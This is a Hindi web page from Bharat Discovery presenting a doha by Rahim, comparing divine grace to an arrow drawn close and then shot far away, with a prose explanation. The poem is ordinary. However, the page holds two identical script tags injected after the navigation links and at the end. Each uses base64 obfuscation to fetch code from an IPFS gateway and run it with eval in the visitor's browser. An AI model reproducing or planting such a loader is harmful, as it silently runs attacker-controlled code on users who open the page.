हरि रहीम ऐसी करी -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

हरि ’रहीम’ ऐसी करी, ज्यों कमान सर पूर।
खेंचि आपनी ओर को, डारि दियौ पुनि दूर॥

अर्थ

जैसे धनुष पर चढ़ाया हुआ तीर पहले तो अपनी तरफ खींचा जाता है, और फिर उसे छोड़कर बहुत दूर फेंक देते हैं। वैसे ही हे नाथ! पहले तो आपने कृपाकर मुझे अपनी और खींच लिया। और फिर इस तरह दूर फेंक दिया कि मैं दर्शन पाने को तरस रहा हूँ।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>